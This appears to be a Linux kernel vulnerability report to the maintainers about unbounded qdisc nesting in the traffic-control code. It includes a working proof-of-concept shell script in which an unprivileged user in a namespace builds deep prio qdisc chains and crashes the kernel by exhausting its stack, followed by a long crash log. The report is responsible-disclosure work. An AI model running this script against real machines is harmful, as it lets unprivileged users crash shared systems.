From: Zijie Huang <[email protected]>
Hi Linux kernel maintainers,
We found and validated a issue in net/sched/sch_api.c. The bug is reachable
by a non-root user via user and net namespace. We've tested it, and it
should not affect any other functionality.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
The qdisc create-and-graft path allows users to keep attaching new classful
qdiscs under an already deep parent hierarchy. Such a hierarchy can later
be walked recursively and exhaust the kernel stack.
This series stores the qdisc hierarchy depth in struct Qdisc and checks it
when a qdisc is grafted. New child qdiscs are rejected once the parent is
already at the maximum allowed depth. It also adds tdc coverage for the
maximum allowed depth and rejection above it.
Reproducer:
chmod +x ./poc.sh
./poc.sh namespace
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin
DEPTH="${DEPTH:-200}"
IFACE0="${IFACE0:-veth0}"
IFACE1="${IFACE1:-veth1}"
MODE="${1:-root}"
setup_and_trigger() {
ip link del "$IFACE0" 2>/dev/null || true
ip link add "$IFACE0" type veth peer name "$IFACE1"
sysctl -q -w "net.ipv6.conf.$IFACE0.disable_ipv6=1"
sysctl -q -w "net.ipv6.conf.$IFACE1.disable_ipv6=1"
ip addr add 10.0.0.1/24 dev "$IFACE0"
ip addr add 10.0.0.2/24 dev "$IFACE1"
tc qdisc add dev "$IFACE0" root handle 1: prio
i=1
while [ "$i" -le "$DEPTH" ]; do
parent_major="$(printf '%x' "$i")"
child_major="$(printf '%x' $((i + 1)))"
tc qdisc add dev "$IFACE0" parent "${parent_major}:2" handle
"${child_major}:" prio
i=$((i + 1))
done
ip link set "$IFACE0" up
ip link set "$IFACE1" up
ping -c 1 -W 1 -I "$IFACE0" 10.0.0.2 >/dev/null
}
case "$MODE" in
root)
setup_and_trigger
;;
namespace)
exec unshare -Urn sh "$0" inner
;;
inner)
setup_and_trigger
;;
*)
echo "usage: $0 [root|namespace]" >&2
exit 1
;;
esac
------END poc.sh--------
----BEGIN crash log----
[ 192.465021][ C0] BUG: TASK stack guard page was hit at ffffc9000dbd7fd8
(stack is ffffc9000dbd8000..ffffc9000dbe0000)
[ 192.465084][ C0] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[ 192.465127][ C0] CPU: 0 UID: 1001 PID: 10556 Comm: ping Not tainted
7.2.0-rc4-00413-ge095f249e220 #1 PREEMPT(full)
[ 192.465149][ C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[ 192.465153][ C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
[ 192.465254][ C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00
fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48>
89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[ 192.465260][ C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[ 192.465274][ C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX:
ffffffff89a1298d
[ 192.465278][ C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI:
ffff88803c2ca580
[ 192.465282][ C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09:
000000000000ffff
[ 192.465286][ C0] R10: 0000000000000000 R11: 0000000000000001 R12:
ffff88803c2ca580
[ 192.465289][ C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15:
ffff88804c179280
[ 192.465293][ C0] FS: 00007f69fe54f000(0000) GS:ffff8880d62af000(0000)
knlGS:0000000000000000
[ 192.465306][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 192.465310][ C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4:
0000000000352ef0
[ 192.465314][ C0] Call Trace:
[ 192.465316][ C0] <TASK>
[ 192.465319][ C0] ? tcf_classify+0x3db/0x1250
[ 192.465343][ C0] prio_enqueue+0x209/0x7c0
[ 192.465349][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465356][ C0] prio_enqueue+0x209/0x7c0
[ 192.465363][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465370][ C0] prio_enqueue+0x209/0x7c0
[ 192.465376][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465384][ C0] prio_enqueue+0x209/0x7c0
[ 192.465390][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465398][ C0] prio_enqueue+0x209/0x7c0
[ 192.465404][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465411][ C0] prio_enqueue+0x209/0x7c0
[ 192.465417][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465425][ C0] prio_enqueue+0x209/0x7c0
[ 192.465431][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465439][ C0] prio_enqueue+0x209/0x7c0
[ 192.465445][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465453][ C0] prio_enqueue+0x209/0x7c0
[ 192.465459][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465467][ C0] prio_enqueue+0x209/0x7c0
[ 192.465473][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465480][ C0] prio_enqueue+0x209/0x7c0
[ 192.465486][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465494][ C0] prio_enqueue+0x209/0x7c0
[ 192.465500][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465507][ C0] prio_enqueue+0x209/0x7c0
[ 192.465513][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465520][ C0] prio_enqueue+0x209/0x7c0
[ 192.465527][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465562][ C0] prio_enqueue+0x209/0x7c0
[ 192.465656][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465665][ C0] prio_enqueue+0x209/0x7c0
[ 192.465673][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465682][ C0] prio_enqueue+0x209/0x7c0
[ 192.465690][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465699][ C0] prio_enqueue+0x209/0x7c0
[ 192.465707][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465716][ C0] prio_enqueue+0x209/0x7c0
[ 192.465735][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465744][ C0] prio_enqueue+0x209/0x7c0
[ 192.465753][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465779][ C0] prio_enqueue+0x209/0x7c0
[ 192.465807][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465816][ C0] prio_enqueue+0x209/0x7c0
[ 192.465824][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465834][ C0] prio_enqueue+0x209/0x7c0
[ 192.465843][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465851][ C0] prio_enqueue+0x209/0x7c0
[ 192.465858][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465865][ C0] prio_enqueue+0x209/0x7c0
[ 192.465871][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465879][ C0] prio_enqueue+0x209/0x7c0
[ 192.465885][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465893][ C0] prio_enqueue+0x209/0x7c0
[ 192.465899][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465907][ C0] prio_enqueue+0x209/0x7c0
[ 192.465913][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465921][ C0] prio_enqueue+0x209/0x7c0
[ 192.465927][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465935][ C0] prio_enqueue+0x209/0x7c0
[ 192.465941][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465949][ C0] prio_enqueue+0x209/0x7c0
[ 192.465955][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465962][ C0] prio_enqueue+0x209/0x7c0
[ 192.465969][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465976][ C0] prio_enqueue+0x209/0x7c0
[ 192.465983][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.465990][ C0] prio_enqueue+0x209/0x7c0
[ 192.465996][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466004][ C0] prio_enqueue+0x209/0x7c0
[ 192.466011][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466018][ C0] prio_enqueue+0x209/0x7c0
[ 192.466025][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466032][ C0] prio_enqueue+0x209/0x7c0
[ 192.466039][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466046][ C0] prio_enqueue+0x209/0x7c0
[ 192.466053][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466060][ C0] prio_enqueue+0x209/0x7c0
[ 192.466066][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466074][ C0] prio_enqueue+0x209/0x7c0
[ 192.466080][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466088][ C0] prio_enqueue+0x209/0x7c0
[ 192.466094][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466102][ C0] prio_enqueue+0x209/0x7c0
[ 192.466108][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466116][ C0] prio_enqueue+0x209/0x7c0
[ 192.466122][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466130][ C0] prio_enqueue+0x209/0x7c0
[ 192.466136][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466144][ C0] prio_enqueue+0x209/0x7c0
[ 192.466150][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466158][ C0] prio_enqueue+0x209/0x7c0
[ 192.466164][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466172][ C0] prio_enqueue+0x209/0x7c0
[ 192.466178][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466186][ C0] prio_enqueue+0x209/0x7c0
[ 192.466192][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466200][ C0] prio_enqueue+0x209/0x7c0
[ 192.466206][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466228][ C0] prio_enqueue+0x209/0x7c0
[ 192.466235][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466243][ C0] prio_enqueue+0x209/0x7c0
[ 192.466249][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466258][ C0] prio_enqueue+0x209/0x7c0
[ 192.466264][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466272][ C0] prio_enqueue+0x209/0x7c0
[ 192.466278][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466285][ C0] prio_enqueue+0x209/0x7c0
[ 192.466291][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466299][ C0] prio_enqueue+0x209/0x7c0
[ 192.466305][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466312][ C0] prio_enqueue+0x209/0x7c0
[ 192.466319][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466326][ C0] prio_enqueue+0x209/0x7c0
[ 192.466333][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466340][ C0] prio_enqueue+0x209/0x7c0
[ 192.466347][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466354][ C0] prio_enqueue+0x209/0x7c0
[ 192.466360][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466367][ C0] prio_enqueue+0x209/0x7c0
[ 192.466373][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466380][ C0] prio_enqueue+0x209/0x7c0
[ 192.466387][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466395][ C0] prio_enqueue+0x209/0x7c0
[ 192.466401][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466409][ C0] prio_enqueue+0x209/0x7c0
[ 192.466415][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466422][ C0] prio_enqueue+0x209/0x7c0
[ 192.466428][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466436][ C0] prio_enqueue+0x209/0x7c0
[ 192.466442][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466449][ C0] prio_enqueue+0x209/0x7c0
[ 192.466455][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466471][ C0] prio_enqueue+0x209/0x7c0
[ 192.466477][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466484][ C0] prio_enqueue+0x209/0x7c0
[ 192.466490][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466498][ C0] prio_enqueue+0x209/0x7c0
[ 192.466504][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466512][ C0] prio_enqueue+0x209/0x7c0
[ 192.466518][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466525][ C0] prio_enqueue+0x209/0x7c0
[ 192.466532][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466539][ C0] prio_enqueue+0x209/0x7c0
[ 192.466545][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466553][ C0] prio_enqueue+0x209/0x7c0
[ 192.466559][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466567][ C0] prio_enqueue+0x209/0x7c0
[ 192.466573][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466581][ C0] prio_enqueue+0x209/0x7c0
[ 192.466587][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466594][ C0] prio_enqueue+0x209/0x7c0
[ 192.466600][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466608][ C0] prio_enqueue+0x209/0x7c0
[ 192.466614][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466621][ C0] prio_enqueue+0x209/0x7c0
[ 192.466628][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466635][ C0] prio_enqueue+0x209/0x7c0
[ 192.466641][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466649][ C0] prio_enqueue+0x209/0x7c0
[ 192.466655][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466662][ C0] prio_enqueue+0x209/0x7c0
[ 192.466668][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466675][ C0] prio_enqueue+0x209/0x7c0
[ 192.466682][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466690][ C0] prio_enqueue+0x209/0x7c0
[ 192.466696][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466703][ C0] prio_enqueue+0x209/0x7c0
[ 192.466709][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466716][ C0] prio_enqueue+0x209/0x7c0
[ 192.466722][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466730][ C0] prio_enqueue+0x209/0x7c0
[ 192.466736][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466743][ C0] prio_enqueue+0x209/0x7c0
[ 192.466749][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466757][ C0] prio_enqueue+0x209/0x7c0
[ 192.466763][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466770][ C0] prio_enqueue+0x209/0x7c0
[ 192.466776][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466784][ C0] prio_enqueue+0x209/0x7c0
[ 192.466790][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466797][ C0] prio_enqueue+0x209/0x7c0
[ 192.466803][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466810][ C0] prio_enqueue+0x209/0x7c0
[ 192.466816][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466824][ C0] prio_enqueue+0x209/0x7c0
[ 192.466830][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466837][ C0] prio_enqueue+0x209/0x7c0
[ 192.466844][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466851][ C0] prio_enqueue+0x209/0x7c0
[ 192.466857][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466865][ C0] prio_enqueue+0x209/0x7c0
[ 192.466871][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466878][ C0] prio_enqueue+0x209/0x7c0
[ 192.466884][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466892][ C0] prio_enqueue+0x209/0x7c0
[ 192.466898][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466905][ C0] prio_enqueue+0x209/0x7c0
[ 192.466911][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466919][ C0] prio_enqueue+0x209/0x7c0
[ 192.466925][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466932][ C0] prio_enqueue+0x209/0x7c0
[ 192.466939][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466946][ C0] prio_enqueue+0x209/0x7c0
[ 192.466952][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466959][ C0] prio_enqueue+0x209/0x7c0
[ 192.466965][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466973][ C0] prio_enqueue+0x209/0x7c0
[ 192.466979][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.466986][ C0] prio_enqueue+0x209/0x7c0
[ 192.466992][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467000][ C0] prio_enqueue+0x209/0x7c0
[ 192.467014][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467022][ C0] prio_enqueue+0x209/0x7c0
[ 192.467028][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467035][ C0] prio_enqueue+0x209/0x7c0
[ 192.467043][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467050][ C0] prio_enqueue+0x209/0x7c0
[ 192.467056][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467063][ C0] prio_enqueue+0x209/0x7c0
[ 192.467070][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467077][ C0] prio_enqueue+0x209/0x7c0
[ 192.467083][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467091][ C0] prio_enqueue+0x209/0x7c0
[ 192.467097][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467104][ C0] prio_enqueue+0x209/0x7c0
[ 192.467111][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467118][ C0] prio_enqueue+0x209/0x7c0
[ 192.467124][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467132][ C0] prio_enqueue+0x209/0x7c0
[ 192.467138][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467145][ C0] prio_enqueue+0x209/0x7c0
[ 192.467152][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467159][ C0] prio_enqueue+0x209/0x7c0
[ 192.467165][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467174][ C0] prio_enqueue+0x209/0x7c0
[ 192.467180][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467188][ C0] prio_enqueue+0x209/0x7c0
[ 192.467194][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467201][ C0] prio_enqueue+0x209/0x7c0
[ 192.467207][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467215][ C0] prio_enqueue+0x209/0x7c0
[ 192.467221][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467228][ C0] prio_enqueue+0x209/0x7c0
[ 192.467235][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467242][ C0] prio_enqueue+0x209/0x7c0
[ 192.467248][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467256][ C0] prio_enqueue+0x209/0x7c0
[ 192.467262][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467269][ C0] prio_enqueue+0x209/0x7c0
[ 192.467275][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467283][ C0] prio_enqueue+0x209/0x7c0
[ 192.467289][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467297][ C0] prio_enqueue+0x209/0x7c0
[ 192.467303][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467310][ C0] prio_enqueue+0x209/0x7c0
[ 192.467317][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467324][ C0] prio_enqueue+0x209/0x7c0
[ 192.467330][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467338][ C0] prio_enqueue+0x209/0x7c0
[ 192.467344][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467351][ C0] prio_enqueue+0x209/0x7c0
[ 192.467357][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467365][ C0] prio_enqueue+0x209/0x7c0
[ 192.467371][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467379][ C0] prio_enqueue+0x209/0x7c0
[ 192.467385][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467392][ C0] prio_enqueue+0x209/0x7c0
[ 192.467398][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467406][ C0] prio_enqueue+0x209/0x7c0
[ 192.467412][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467419][ C0] prio_enqueue+0x209/0x7c0
[ 192.467425][ C0] ? __pfx_stack_trace_save+0x10/0x10
[ 192.467432][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467439][ C0] prio_enqueue+0x209/0x7c0
[ 192.467445][ C0] ? vma_complete+0x9f4/0xf70
[ 192.467472][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467478][ C0] ? __lock_acquire+0x49f/0x1a40
[ 192.467487][ C0] prio_enqueue+0x209/0x7c0
[ 192.467493][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467500][ C0] prio_enqueue+0x209/0x7c0
[ 192.467506][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467513][ C0] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 192.467520][ C0] prio_enqueue+0x209/0x7c0
[ 192.467526][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467533][ C0] prio_enqueue+0x209/0x7c0
[ 192.467539][ C0] ? stack_trace_save+0x8e/0xc0
[ 192.467545][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467551][ C0] ? stack_depot_save_flags+0x27/0x9d0
[ 192.467577][ C0] prio_enqueue+0x209/0x7c0
[ 192.467583][ C0] ? mas_wr_split+0x1c23/0x3960
[ 192.467613][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467619][ C0] ? mprotect_fixup+0x27a/0xe30
[ 192.467629][ C0] prio_enqueue+0x209/0x7c0
[ 192.467635][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467642][ C0] prio_enqueue+0x209/0x7c0
[ 192.467648][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467655][ C0] prio_enqueue+0x209/0x7c0
[ 192.467661][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467668][ C0] prio_enqueue+0x209/0x7c0
[ 192.467675][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467680][ C0] ? __lock_acquire+0x49f/0x1a40
[ 192.467688][ C0] prio_enqueue+0x209/0x7c0
[ 192.467695][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467702][ C0] prio_enqueue+0x209/0x7c0
[ 192.467708][ C0] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 192.467715][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467721][ C0] ? kernel_text_address+0x8d/0x100
[ 192.467738][ C0] ? unwind_get_return_address+0x59/0xa0
[ 192.467753][ C0] prio_enqueue+0x209/0x7c0
[ 192.467760][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467767][ C0] prio_enqueue+0x209/0x7c0
[ 192.467774][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467781][ C0] prio_enqueue+0x209/0x7c0
[ 192.467787][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467795][ C0] prio_enqueue+0x209/0x7c0
[ 192.467801][ C0] ? __pfx_prio_enqueue+0x10/0x10
[ 192.467807][ C0] ? __pfx_do_raw_spin_lock+0x10/0x10
[ 192.467816][ C0] __dev_queue_xmit+0x2ffa/0x4970
[ 192.467840][ C0] ? kmalloc_reserve+0x148/0x350
[ 192.467855][ C0] ? __pfx___dev_queue_xmit+0x10/0x10
[ 192.467863][ C0] ? lock_acquire+0x180/0x370
[ 192.467870][ C0] ? find_held_lock+0x2b/0x80
[ 192.467875][ C0] ? nf_hook.constprop.0+0x2f0/0x760
[ 192.467884][ C0] ? nf_hook.constprop.0+0x2f0/0x760
[ 192.467894][ C0] ? nf_hook.constprop.0+0x2fa/0x760
[ 192.467902][ C0] ? __pfx_arp_xmit_finish+0x10/0x10
[ 192.467911][ C0] ? __pfx_nf_hook.constprop.0+0x10/0x10
[ 192.467920][ C0] ? lock_acquire+0x1b9/0x370
[ 192.467928][ C0] arp_xmit+0x106/0x2e0
[ 192.467937][ C0] arp_send_dst+0x200/0x280
[ 192.467945][ C0] arp_solicit+0x672/0x1070
[ 192.467951][ C0] ? trace_kmem_cache_alloc+0xdd/0x100
[ 192.467959][ C0] ? __kasan_slab_alloc+0x89/0x90
[ 192.467966][ C0] ? __pfx_arp_solicit+0x10/0x10
[ 192.467972][ C0] ? neigh_probe+0x72/0x110
[ 192.467988][ C0] ? __pfx_arp_solicit+0x10/0x10
[ 192.467993][ C0] neigh_probe+0xce/0x110
[ 192.468001][ C0] __neigh_event_send+0xabe/0x13d0
[ 192.468009][ C0] neigh_resolve_output+0x550/0x8f0
[ 192.468015][ C0] ? __pfx____neigh_create+0x10/0x10
[ 192.468022][ C0] ip_finish_output2+0x851/0x2400
[ 192.468032][ C0] ? __pfx_ip_finish_output2+0x10/0x10
[ 192.468039][ C0] ? __pfx_ip_dst_mtu_maybe_forward+0x10/0x10
[ 192.468048][ C0] ? find_held_lock+0x2b/0x80
[ 192.468053][ C0] __ip_finish_output.part.0+0x444/0x6f0
[ 192.468062][ C0] ip_output+0x39b/0xc10
[ 192.468070][ C0] ? __pfx_ip_output+0x10/0x10
[ 192.468077][ C0] ? __ip_make_skb+0x111e/0x1f90
[ 192.468086][ C0] ? __pfx_ip_finish_output+0x10/0x10
[ 192.468094][ C0] ? __pfx_ip_output+0x10/0x10
[ 192.468102][ C0] ip_push_pending_frames+0x284/0x300
[ 192.468111][ C0] raw_sendmsg+0x1509/0x3590
[ 192.468117][ C0] ? __pfx_raw_sendmsg+0x10/0x10
[ 192.468123][ C0] ? avc_has_perm+0x135/0x1e0
[ 192.468148][ C0] ? __pfx_avc_has_perm+0x10/0x10
[ 192.468157][ C0] ? __pfx_tomoyo_check_inet_address+0x10/0x10
[ 192.468177][ C0] ? __pfx_raw_sendmsg+0x10/0x10
[ 192.468183][ C0] inet_sendmsg+0x11c/0x140
[ 192.468192][ C0] __sys_sendto+0x453/0x4e0
[ 192.468214][ C0] ? __pfx_inet_sendmsg+0x10/0x10
[ 192.468223][ C0] ? __pfx___sys_sendto+0x10/0x10
[ 192.468231][ C0] ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[ 192.468241][ C0] __x64_sys_sendto+0xe0/0x1c0
[ 192.468249][ C0] ? do_syscall_64+0x90/0x860
[ 192.468257][ C0] ? lockdep_hardirqs_on+0x78/0x100
[ 192.468266][ C0] do_syscall_64+0x10b/0x860
[ 192.468275][ C0] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 192.468281][ C0] RIP: 0033:0x7f69fe7cf046
[ 192.468295][ C0] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8
0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48>
3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89
[ 192.468301][ C0] RSP: 002b:00007ffdb7ccbf98 EFLAGS: 00000246 ORIG_RAX:
000000000000002c
[ 192.468307][ C0] RAX: ffffffffffffffda RBX: 00007ffdb7ccd720 RCX:
00007f69fe7cf046
[ 192.468311][ C0] RDX: 0000000000000040 RSI: 000055becbf95950 RDI:
0000000000000003
[ 192.468315][ C0] RBP: 000055becbf95950 R08: 00007ffdb7ccf99c R09:
0000000000000010
[ 192.468319][ C0] R10: 0000000000000000 R11: 0000000000000246 R12:
0000000000000040
[ 192.468322][ C0] R13: 00007ffdb7ccd6e0 R14: 00007ffdb7ccbfa0 R15:
0000001d00000001
[ 192.468338][ C0] </TASK>
[ 192.468349][ C0] Modules linked in:
[ 192.468370][ C0] ---[ end trace 0000000000000000 ]---
[ 192.468381][ C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
[ 192.468388][ C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00
fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48>
89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[ 192.468394][ C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[ 192.468399][ C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX:
ffffffff89a1298d
[ 192.468410][ C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI:
ffff88803c2ca580
